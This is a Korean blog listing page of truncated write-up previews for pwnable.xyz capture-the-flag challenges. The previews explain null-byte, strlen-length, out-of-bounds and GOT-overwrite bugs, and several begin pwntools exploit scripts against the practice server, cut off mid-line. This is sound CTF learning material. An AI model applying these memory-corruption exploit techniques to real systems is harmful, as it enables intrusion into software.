pwn (96) 썸네일형 리스트형 pwnable.xyz / password secure login이라고 플래그인 비밀번호를 알아내서 로그인을 해야 한다 4가지 기능이 주어진다 enter password change password print password restore password and logout 패스워드를 바꾸거나 ID를 입력할 때 readline을 통해 데이터를 입력받게 되는데 이때 문자열 끝에 널 바이트를 넣어준다 ( \n을 제거 ) 로그인을 했는지는 bss 영역에 있는 cred가 1인 경우로 이때 change password기능을 사용할 수 있다 ID가 0인 경우 root로 print password 기능을 통해 패스워드를 디코딩한 뒤 출력할 수 있다 그럼 처음에 널 바이트를 넣어서 패스워드를 읽어내면 끝 아닌가 싶은데 널 바이트를 넣는 경우 프로그램을 종료한다.. pwnable.xyz / executioner 단순 쉘코드 문제다 strlen으로 입력한 쉘코드 길이를 구해서 랜덤 값과 xor한다 단순 2byte NULL bytes를 박으면 strlen의 반환 값이 0이 되면서 랜덤 값과 xor하지 않게 된다 대신 쉘 코드가 실행 될때 ptr byte[rax], al을 수행한다 rax는 스택값이니 코드가 정상적으로 처리될 것이다 이후에 r12에 _start주소가 있어서 win만큼 더해서 jmp r12해서 플래그가 출력되도록 했다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30025) #p = process("./executioner") #gdb.attach(p) def pow(): p.recvuntil(b"0x") nu.. pwnable.xyz / Punch it 생성된 랜덤 값과 비교하는 게임이다 입력한 수가 더 클 경우 score가 1 증가한다 값이 같을 경우 저장 여부를 통해 이름을 변경할 수 있다 작을 경우 프로그램을 종료한다 값이 같을 경우 strlen을 통해 구한 이름 문자열 길이로 read하게 되는데 있때 score의 byte도 포함 될 수 있다 score를 0xff로 덮고 score 1 상승 시켜서 다음 byte에 값 넣는 방식으로 score에 있는 모든 바이트를 덮어 주면 score 뒤에 있는 flag문자열과 연결 되어 프로 그램이 종료되어 buf가 출력 될때 플래그도 딸려서 출력 된다 #include #include int main(){ srand(0xf4); for(int i = 0; i < 388; i++){ printf("%x\n", ran.. pwnable.xyz / catalog 이름을 쓰고, 수정하고 출력하는 기능이 주어진다 이름을 쓰는 과정에서 이름을 채워준 뒤 strlen을 통해 이름의 총 길이를 구하는데 이때 이름을 모두 채워주면 strlen에서 이름의 길이 byte가 추가된 0x21byte를 반환 할 수 있어서 edit_name으로 길이를 0xff로 바꿔 print_name함수가 저장된 공간을 win으로 덮어 줬다 from pwn import * p = remote("svc.pwnable.xyz", 30023) #p = process("./catalog") def write_name(data): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"name: ") p.send(data) def edit_name(idx, data): p.. pwnable.xyz / PvP 너무 멍청했다 말하기도 쪽팔린다 strncpy가 널바이트가 나올때까지 복사된다고 생각했다 strncay으로 포인터를 덮을 수 있고 exit got함수를 win함수로 덮어서 시그널 터질때 플래그가 출력되도록했다 from pwn import * #context.log_level = "debug" exit_got = 0x6020a0 def save(): p.recvuntil(b"> ") p.sendline(b"4") p.recvuntil(b"message? ") p.sendline(b"3") def append(arr, func_type): p.recvuntil(b"> ") p.sendline(str(func_type)) p.recvuntil(b"me ") num = int(p.recvuntil(b" ")) .. pwnable.xyz / bookmark 북마크 프로그램으로 아래와 같은 기능들이 주어진다 로그인 url 생성 url 출력 url 저장 ( 미구현으로 flag를 출력해 줌) 종료 생성된 비밀번호를 올바르게 입력하게 되면 key가 1이 되어서 url을 저장 기능을 통해 플래그를 출력 시킬 수 있다 strncat으로 bm에 buf를 저장할 수 있다 '/' 또는 ':'인 경우 bm의 길이를 계속 증가 시킬 수 있어서 key까지 덮어버려서 플래그 주도록 했다 from pwn import * p = remote("svc.pwnable.xyz", 30021) #p = process("./bookmark") def create_url(data, length): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"inse.. pwnable.xyz / attack 옛날에 쥬니어네이버에서 했던 록맨 게임 생각나서 재미있었다 게임이 끝날때 마다 RANK가 증가하는데 1번 이상할 경우 equit를 수정할 수 있고 3번 증가했을 때 스킬을 수정할 수 있 다 do_skill_change함수에서 스킬을 선택해서 힐과 공격 타입 중에서 선택하여 바꾸는 과정에서 OOB가 터진다 equip 수정할 때 win함수 넣고 스킬 타입 변경할때 OOB로 win함수가 들어가도록해서 해당 스킬을 사용 시 win함수가 호출되도록했다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30020) #p = process("./attack") win = 0x401372 def mod_name(data): whil.. pwnable.xyz / rwsr 메모리 릭하고 aaw가 가능하다 FULL RELRO가 걸려있어서 environ을 통해 스택을 릭해서 ret주소에 win을 넣거나 rtld 사용하는 방법으로 생각했다 로컬에서는 익스가 안되서 왜 이러나 싶었는데 그냥 리모트로 날려보니까 익스가 됐다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30019) #p = process("./rwsr", env={"LD_PRELOAD" : "./alpine-libc-2.28.so"}) libc = ELF("./alpine-libc-2.28.so") #gdb.attach(p) def read(addr): p.recvuntil(b"> ") p.sendline(b"1") p.rec.. 이전 1 ··· 3 4 5 6 7 8 9 ··· 12 다음 목록 더보기